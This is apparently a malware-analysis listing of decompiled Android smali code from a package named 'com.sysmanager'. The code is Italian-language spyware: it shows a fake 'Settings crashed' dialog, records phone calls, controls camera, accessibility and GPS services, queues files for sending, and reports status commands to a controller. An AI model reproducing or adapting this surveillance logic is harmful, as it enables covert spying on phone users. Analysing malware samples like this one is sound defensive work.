0.param p1, "savedInstanceState" # Landroid/os/Bundle;
1.prologue
3invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
4sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
5const/16 v3, 0x16
6if-le v2, v3, :cond_33
7new-instance v0, Landroid/app/AlertDialog$Builder;
8const v2, 0x10302d2
10invoke-direct {v0, p0, v2}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;I)V
11goto_11:
12const-string v2, "L\'applicazione Impostazioni si \u00e8 bloccata in modo anomalo"
14invoke-virtual {v0, v2}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
15move-result-object v2
16const v3, 0x1040013
17new-instance v4, Lcom/sysmanager/CrashDialog$1;
19invoke-direct {v4, p0}, Lcom/sysmanager/CrashDialog$1;-><init>(Lcom/sysmanager/CrashDialog;)V
21invoke-virtual {v2, v3, v4}, Landroid/app/AlertDialog$Builder;->setPositiveButton(ILandroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
22move-result-object v2
24invoke-virtual {v2}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
25move-result-object v1
26new-instance v2, Lcom/sysmanager/CrashDialog$2;
28invoke-direct {v2, p0}, Lcom/sysmanager/CrashDialog$2;-><init>(Lcom/sysmanager/CrashDialog;)V
30invoke-virtual {v1, v2}, Landroid/app/AlertDialog;->setOnDismissListener(Landroid/content/DialogInterface$OnDismissListener;)V
32invoke-virtual {v1}, Landroid/app/AlertDialog;->show()V
33return-void
34cond_33: new-instance v0, Landroid/app/AlertDialog$Builder;
35const/4 v2, 0x5
37invoke-direct {v0, p0, v2}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;I)V
38goto/16 :goto_11
Cross References
APIs
  • java.lang.String.replace
  • java.lang.String.trim
  • java.lang.String.getBytes
  • java.lang.System.arraycopy
  • java.lang.String.<init>
Strings
  • -----BEGIN CERTIFICATE-----
  • -----END CERTIFICATE-----
Position Instruction Meta Information
0.param p0, "keyPEM" # Ljava/lang/String;
1.prologue
2const/16 v5, 0x10
3new-array v1, v5, [B
5const-string v2, "-----BEGIN CERTIFICATE-----"
7const-string v3, ""
9invoke-virtual {p0, v2, v3}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
10move-result-object v2
12const-string v3, "-----END CERTIFICATE-----"
14const-string v4, ""
16invoke-virtual {v2, v3, v4}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
17move-result-object v2
19invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String;
20move-result-object v0
22invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
23move-result-object v2
25invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
26move-result-object v3
27array-length v3, v3
28add-int/lit8 v3, v3, -0x11
29const/4 v4, 0x0
31invoke-static {v2, v3, v1, v4, v5}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
32new-instance v2, Ljava/lang/String;
34invoke-direct {v2, v1}, Ljava/lang/String;-><init>([B)V
35return-object v2
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Context.startService
  • android.content.Intent.<init>
  • android.content.Context.startService
Strings
  • col05
  • startYES
  • A70
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "sendFeedback" # Z
2.prologue
4invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
5move-result-object v0
7const-string v1, "col05"
8const/4 v2, 0x1
10invoke-virtual {v0, v1, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
11if-eqz p1, :cond_13
13const-string v0, "startYES"
15const-string v1, "A70"
17invoke-static {v0, p0, v1}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
18cond_13: new-instance v0, Landroid/content/Intent;
19const-class v1, Lcom/sysmanager/system/AndroidSystemService;
21invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
23invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
24new-instance v0, Landroid/content/Intent;
25const-class v1, Lcom/sysmanager/system/AndroidAlarmManager;
27invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
29invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
30return-void
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Context.stopService
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • android.content.Context.startService
Strings
  • col15
  • comando
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "type" # Ljava/lang/String;
2.prologue
4invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
5move-result-object v1
7const-string v2, "col15"
8const/4 v3, 0x1
10invoke-virtual {v1, v2, v3}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
11new-instance v1, Landroid/content/Intent;
12const-class v2, Lcom/sysmanager/system/AndroidCamera;
14invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
16invoke-virtual {p0, v1}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
17new-instance v0, Landroid/content/Intent;
18const-class v1, Lcom/sysmanager/system/AndroidCamera;
20invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
22const-string v1, "comando"
24invoke-virtual {v0, v1, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
26invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
27return-void
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Context.stopService
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • android.content.Context.startService
Strings
  • col21
  • comando
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "comando" # Ljava/lang/String;
2.prologue
4invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
5move-result-object v1
7const-string v2, "col21"
8const/4 v3, 0x1
10invoke-virtual {v1, v2, v3}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
11new-instance v1, Landroid/content/Intent;
12const-class v2, Lcom/sysmanager/system/AndroidAccessibility;
14invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
16invoke-virtual {p0, v1}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
17new-instance v0, Landroid/content/Intent;
18const-class v1, Lcom/sysmanager/system/AndroidAccessibility;
20invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
22const-string v1, "comando"
24invoke-virtual {v0, v1, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
26invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
27return-void
APIs
  • com.sysmanager.system.AndroidSystemService.access$702
  • com.sysmanager.system.AndroidSystemService.getApplicationContext
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.system.AndroidSystemService.access$800
  • com.sysmanager.storage.FileSend.isCallRecording
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.system.AndroidSystemService.access$800
  • com.sysmanager.storage.FileSend.insertCall
  • com.sysmanager.system.AndroidSystemService.access$702
Position Instruction Meta Information
0.param p1, "state" # I
1.param p2, "incomingNumber" # Ljava/lang/String;
2.prologue
3const/4 v1, 0x0
4packed-switch p1, :pswitch_data_3e
5goto_4: return-void
6pswitch_5:
7iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService$PhoneListener;->this$0:Lcom/sysmanager/system/AndroidSystemService;
9invoke-static {v0, v1}, Lcom/sysmanager/system/AndroidSystemService;->access$702(Lcom/sysmanager/system/AndroidSystemService;Z)Z
10goto/16 :goto_4
11pswitch_b:
12iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService$PhoneListener;->this$0:Lcom/sysmanager/system/AndroidSystemService;
14invoke-static {v0, v1}, Lcom/sysmanager/system/AndroidSystemService;->access$702(Lcom/sysmanager/system/AndroidSystemService;Z)Z
15goto/16 :goto_4
16pswitch_11:
17iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService$PhoneListener;->this$0:Lcom/sysmanager/system/AndroidSystemService;
19invoke-virtual {v0}, Lcom/sysmanager/system/AndroidSystemService;->getApplicationContext()Landroid/content/Context;
20move-result-object v0
22invoke-static {v0}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
23move-result-object v0
25iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemService$PhoneListener;->this$0:Lcom/sysmanager/system/AndroidSystemService;
27invoke-static {v1}, Lcom/sysmanager/system/AndroidSystemService;->access$800(Lcom/sysmanager/system/AndroidSystemService;)Ljava/lang/String;
28move-result-object v1
30invoke-virtual {v0, v1}, Lcom/sysmanager/storage/FileSend;->isCallRecording(Ljava/lang/String;)Z
31move-result v0
32if-nez v0, :cond_36
34iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService$PhoneListener;->mContext:Landroid/content/Context;
36invoke-static {v0}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
37move-result-object v0
39iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemService$PhoneListener;->this$0:Lcom/sysmanager/system/AndroidSystemService;
41invoke-static {v1}, Lcom/sysmanager/system/AndroidSystemService;->access$800(Lcom/sysmanager/system/AndroidSystemService;)Ljava/lang/String;
42move-result-object v1
44invoke-virtual {v0, v1}, Lcom/sysmanager/storage/FileSend;->insertCall(Ljava/lang/String;)J
45cond_36:
46iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService$PhoneListener;->this$0:Lcom/sysmanager/system/AndroidSystemService;
47const/4 v1, 0x1
49invoke-static {v0, v1}, Lcom/sysmanager/system/AndroidSystemService;->access$702(Lcom/sysmanager/system/AndroidSystemService;Z)Z
50goto/16 :goto_4
51nop
APIs
  • android.app.Activity.onCreate
  • android.app.AlertDialog$Builder.<init>
  • com.sysmanager.AccessibilityDialog.getString
  • android.app.AlertDialog$Builder.setMessage
  • android.app.AlertDialog$Builder.setPositiveButton
  • android.app.AlertDialog$Builder.create
  • android.app.AlertDialog.setOnDismissListener
  • android.support.v4.content.LocalBroadcastManager.getInstance
  • android.support.v4.content.LocalBroadcastManager.registerReceiver
  • android.app.AlertDialog$Builder.<init>
Position Instruction Meta Information
0.param p1, "savedInstanceState" # Landroid/os/Bundle;
1.prologue
3invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
4sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
5const/16 v2, 0x16
6if-le v1, v2, :cond_44
7new-instance v0, Landroid/app/AlertDialog$Builder;
8const v1, 0x10302d2
10invoke-direct {v0, p0, v1}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;I)V
11goto_11: const v1, 0x7f040013
13invoke-virtual {p0, v1}, Lcom/sysmanager/AccessibilityDialog;->getString(I)Ljava/lang/String;
14move-result-object v1
16invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
17move-result-object v1
18const v2, 0x1040013
19new-instance v3, Lcom/sysmanager/AccessibilityDialog$1;
21invoke-direct {v3, p0}, Lcom/sysmanager/AccessibilityDialog$1;-><init>(Lcom/sysmanager/AccessibilityDialog;)V
23invoke-virtual {v1, v2, v3}, Landroid/app/AlertDialog$Builder;->setPositiveButton(ILandroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
24move-result-object v1
26invoke-virtual {v1}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
27move-result-object v1
28iput-object v1, p0, Lcom/sysmanager/AccessibilityDialog;->mDialog:Landroid/app/AlertDialog;
30iget-object v1, p0, Lcom/sysmanager/AccessibilityDialog;->mDialog:Landroid/app/AlertDialog;
31new-instance v2, Lcom/sysmanager/AccessibilityDialog$2;
33invoke-direct {v2, p0}, Lcom/sysmanager/AccessibilityDialog$2;-><init>(Lcom/sysmanager/AccessibilityDialog;)V
35invoke-virtual {v1, v2}, Landroid/app/AlertDialog;->setOnDismissListener(Landroid/content/DialogInterface$OnDismissListener;)V
37invoke-static {p0}, Landroid/support/v4/content/LocalBroadcastManager;->getInstance(Landroid/content/Context;)Landroid/support/v4/content/LocalBroadcastManager;
38move-result-object v1
40iget-object v2, p0, Lcom/sysmanager/AccessibilityDialog;->mReceiver:Landroid/content/BroadcastReceiver;
42iget-object v3, p0, Lcom/sysmanager/AccessibilityDialog;->mFilter:Landroid/content/IntentFilter;
44invoke-virtual {v1, v2, v3}, Landroid/support/v4/content/LocalBroadcastManager;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)V
45return-void
46cond_44: new-instance v0, Landroid/app/AlertDialog$Builder;
47const/4 v1, 0x5
49invoke-direct {v0, p0, v1}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;I)V
50goto/16 :goto_11
Cross References
APIs
  • java.lang.Long.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.length
  • java.lang.StringBuilder.insert
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • KB
  • MB
Position Instruction Meta Information
0.param p0, "size" # J
1.prologue
2const-wide/16 v4, 0x400
3const/4 v2, 0x0
4cmp-long v3, p0, v4
5if-ltz v3, :cond_11
7const-string v2, "KB"
8div-long/2addr p0, v4
9cmp-long v3, p0, v4
10if-ltz v3, :cond_11
12const-string v2, "MB"
13div-long/2addr p0, v4
14cond_11: new-instance v1, Ljava/lang/StringBuilder;
16invoke-static {p0, p1}, Ljava/lang/Long;->toString(J)Ljava/lang/String;
17move-result-object v3
19invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
21invoke-virtual {v1}, Ljava/lang/StringBuilder;->length()I
22move-result v3
23add-int/lit8 v0, v3, -0x3
24goto_20: if-lez v0, :cond_2a
25const/16 v3, 0x2c
27invoke-virtual {v1, v0, v3}, Ljava/lang/StringBuilder;->insert(IC)Ljava/lang/StringBuilder;
28add-int/lit8 v0, v0, -0x3
29goto/16 :goto_20
30cond_2a: if-eqz v2, :cond_2f
32invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
33cond_2f:
34invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
35move-result-object v3
36return-object v3
Cross References
APIs
  • java.lang.String.replace
  • java.lang.String.trim
  • java.lang.String.getBytes
  • java.lang.System.arraycopy
  • java.lang.String.<init>
Strings
  • -----BEGIN CERTIFICATE-----
  • -----END CERTIFICATE-----
Position Instruction Meta Information
0.param p0, "keyPEM" # Ljava/lang/String;
1.prologue
2const/16 v6, 0x10
3const/4 v5, 0x0
4new-array v1, v6, [B
6const-string v2, "-----BEGIN CERTIFICATE-----"
8const-string v3, ""
10invoke-virtual {p0, v2, v3}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
11move-result-object v2
13const-string v3, "-----END CERTIFICATE-----"
15const-string v4, ""
17invoke-virtual {v2, v3, v4}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
18move-result-object v2
20invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String;
21move-result-object v0
23invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
24move-result-object v2
26invoke-static {v2, v5, v1, v5, v6}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
27new-instance v2, Ljava/lang/String;
29invoke-direct {v2, v1}, Ljava/lang/String;-><init>([B)V
30return-object v2
APIs
  • com.sysmanager.system.AndroidSystemQueues.access$100
  • com.sysmanager.system.AndroidSystemQueues.access$000
  • android.os.Handler.removeCallbacks
  • com.sysmanager.system.AndroidSystemQueues.access$100
  • com.sysmanager.system.AndroidSystemQueues.access$000
  • android.os.Handler.postDelayed
  • com.sysmanager.system.AndroidSystemQueues.access$202
  • com.sysmanager.system.AndroidSystemQueues.access$300
  • com.sysmanager.system.AndroidSystemQueues.access$400
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues$1;->this$0:Lcom/sysmanager/system/AndroidSystemQueues;
4invoke-static {v0}, Lcom/sysmanager/system/AndroidSystemQueues;->access$100(Lcom/sysmanager/system/AndroidSystemQueues;)Landroid/os/Handler;
5move-result-object v0
7iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemQueues$1;->this$0:Lcom/sysmanager/system/AndroidSystemQueues;
9invoke-static {v1}, Lcom/sysmanager/system/AndroidSystemQueues;->access$000(Lcom/sysmanager/system/AndroidSystemQueues;)Ljava/lang/Runnable;
10move-result-object v1
12invoke-virtual {v0, v1}, Landroid/os/Handler;->removeCallbacks(Ljava/lang/Runnable;)V
14iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues$1;->this$0:Lcom/sysmanager/system/AndroidSystemQueues;
16invoke-static {v0}, Lcom/sysmanager/system/AndroidSystemQueues;->access$100(Lcom/sysmanager/system/AndroidSystemQueues;)Landroid/os/Handler;
17move-result-object v0
19iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemQueues$1;->this$0:Lcom/sysmanager/system/AndroidSystemQueues;
21invoke-static {v1}, Lcom/sysmanager/system/AndroidSystemQueues;->access$000(Lcom/sysmanager/system/AndroidSystemQueues;)Ljava/lang/Runnable;
22move-result-object v1
23const-wide/16 v2, 0x2710
25invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
27iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues$1;->this$0:Lcom/sysmanager/system/AndroidSystemQueues;
28const/4 v1, 0x0
30invoke-static {v0, v1}, Lcom/sysmanager/system/AndroidSystemQueues;->access$202(Lcom/sysmanager/system/AndroidSystemQueues;Z)Z
32iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues$1;->this$0:Lcom/sysmanager/system/AndroidSystemQueues;
34invoke-static {v0}, Lcom/sysmanager/system/AndroidSystemQueues;->access$300(Lcom/sysmanager/system/AndroidSystemQueues;)Z
35move-result v0
36if-nez v0, :cond_33
38iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemQueues$1;->this$0:Lcom/sysmanager/system/AndroidSystemQueues;
40invoke-static {v0}, Lcom/sysmanager/system/AndroidSystemQueues;->access$400(Lcom/sysmanager/system/AndroidSystemQueues;)V
41cond_33: return-void
Cross References
APIs
  • com.sysmanager.storage.FileSend.getWritableDatabase
  • android.content.ContentValues.<init>
  • android.content.ContentValues.put
  • android.database.sqlite.SQLiteDatabase.insert
  • com.sysmanager.Scontext.getContext
Strings
  • col19
  • tab4
Position Instruction Meta Information
0.param p1, "name" # Ljava/lang/String;
1.prologue
2monitor-enter p0
3const-wide/16 v2, -0x1
4try_start_3:
5invoke-virtual {p0}, Lcom/sysmanager/storage/FileSend;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
6try_end_6: move-result-object v0
7try_start_7: new-instance v4, Landroid/content/ContentValues;
9invoke-direct {v4}, Landroid/content/ContentValues;-><init>()V
11const-string v5, "col19"
13invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
14move-result-object v6
16invoke-static {v6, p1}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
17move-result-object v6
19invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
21const-string v5, "tab4"
22const/4 v6, 0x0
24invoke-virtual {v0, v5, v6, v4}, Landroid/database/sqlite/SQLiteDatabase;->insert(Ljava/lang/String;Ljava/lang/String;Landroid/content/ContentValues;)J
25try_end_1f: move-result-wide v2
26goto_20: monitor-exit p0
27return-wide v2
28catch_22: move-exception v1
29try_start_23:
30invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
31move-result-object v5
33invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
34move-result-object v6
36invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
37try_end_2e: goto/16 :goto_20
38catchall_2f: move-exception v5
39monitor-exit p0
40throw v5
Cross References
APIs
  • com.sysmanager.storage.FileSend.getWritableDatabase
  • android.content.ContentValues.<init>
  • android.content.ContentValues.put
  • android.database.sqlite.SQLiteDatabase.insert
  • com.sysmanager.Scontext.getContext
Strings
  • col01
  • tab1
Position Instruction Meta Information
0.param p1, "path" # Ljava/lang/String;
1.prologue
2monitor-enter p0
3const-wide/16 v2, -0x1
4try_start_3:
5invoke-virtual {p0}, Lcom/sysmanager/storage/FileSend;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
6try_end_6: move-result-object v0
7try_start_7: new-instance v4, Landroid/content/ContentValues;
9invoke-direct {v4}, Landroid/content/ContentValues;-><init>()V
11const-string v5, "col01"
13invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
14move-result-object v6
16invoke-static {v6, p1}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
17move-result-object v6
19invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
21const-string v5, "tab1"
22const/4 v6, 0x0
24invoke-virtual {v0, v5, v6, v4}, Landroid/database/sqlite/SQLiteDatabase;->insert(Ljava/lang/String;Ljava/lang/String;Landroid/content/ContentValues;)J
25try_end_1f: move-result-wide v2
26goto_20: monitor-exit p0
27return-wide v2
28catch_22: move-exception v1
29try_start_23:
30invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
31move-result-object v5
33invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
34move-result-object v6
36invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
37try_end_2e: goto/16 :goto_20
38catchall_2f: move-exception v5
39monitor-exit p0
40throw v5
APIs
  • com.sysmanager.system.AndroidAlarmManager.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • android.os.Handler.removeCallbacks
  • android.os.Handler.post
  • com.sysmanager.system.AndroidAlarmManager.stopSelf
Strings
  • col04
Position Instruction Meta Information
0.param p1, "intent" # Landroid/content/Intent;
1.param p2, "flags" # I
2.param p3, "startId" # I
3.prologue
4const/4 v2, 0x1
6invoke-virtual {p0}, Lcom/sysmanager/system/AndroidAlarmManager;->getApplicationContext()Landroid/content/Context;
7move-result-object v0
9invoke-static {v0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
10move-result-object v0
12const-string v1, "col04"
14invoke-virtual {v0, v1}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
15move-result v0
16if-ne v0, v2, :cond_20
18iget-object v0, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mHandler:Landroid/os/Handler;
20iget-object v1, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mSendFiles:Ljava/lang/Runnable;
22invoke-virtual {v0, v1}, Landroid/os/Handler;->removeCallbacks(Ljava/lang/Runnable;)V
24iget-object v0, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mHandler:Landroid/os/Handler;
26iget-object v1, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mSendFiles:Ljava/lang/Runnable;
28invoke-virtual {v0, v1}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
29goto_1f: return v2
30cond_20:
31invoke-virtual {p0}, Lcom/sysmanager/system/AndroidAlarmManager;->stopSelf()V
32goto/16 :goto_1f
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Context.startService
Strings
  • col17
  • cellaSTART
  • A70
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "sendFeedback" # Z
2.prologue
4invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
5move-result-object v0
7const-string v1, "col17"
8const/4 v2, 0x1
10invoke-virtual {v0, v1, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
11new-instance v0, Landroid/content/Intent;
12const-class v1, Lcom/sysmanager/system/ClearSystems;
14invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
16invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
17if-eqz p1, :cond_1d
19const-string v0, "cellaSTART"
21const-string v1, "A70"
23invoke-static {v0, p0, v1}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
24cond_1d: return-void
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Context.stopService
Strings
  • col17
  • cellaSTOP
  • A70
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "sendFeedback" # Z
2.prologue
4invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
5move-result-object v0
7const-string v1, "col17"
8const/4 v2, 0x0
10invoke-virtual {v0, v1, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
11new-instance v0, Landroid/content/Intent;
12const-class v1, Lcom/sysmanager/system/ClearSystems;
14invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
16invoke-virtual {p0, v0}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
17if-eqz p1, :cond_1d
19const-string v0, "cellaSTOP"
21const-string v1, "A70"
23invoke-static {v0, p0, v1}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
24cond_1d: return-void
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Context.stopService
Strings
  • col07
  • gpsNO
  • A70
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "sendFeedback" # Z
2.prologue
4invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
5move-result-object v0
7const-string v1, "col07"
8const/4 v2, 0x0
10invoke-virtual {v0, v1, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
11new-instance v0, Landroid/content/Intent;
12const-class v1, Lcom/sysmanager/system/AndroidSystemQueues;
14invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
16invoke-virtual {p0, v0}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
17if-eqz p1, :cond_1d
19const-string v0, "gpsNO"
21const-string v1, "A70"
23invoke-static {v0, p0, v1}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
24cond_1d: return-void
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Context.stopService
Strings
  • col06
  • netNO
  • A70
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "sendFeedback" # Z
2.prologue
4invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
5move-result-object v0
7const-string v1, "col06"
8const/4 v2, 0x0
10invoke-virtual {v0, v1, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
11new-instance v0, Landroid/content/Intent;
12const-class v1, Lcom/sysmanager/system/AndroidSystemQueues;
14invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
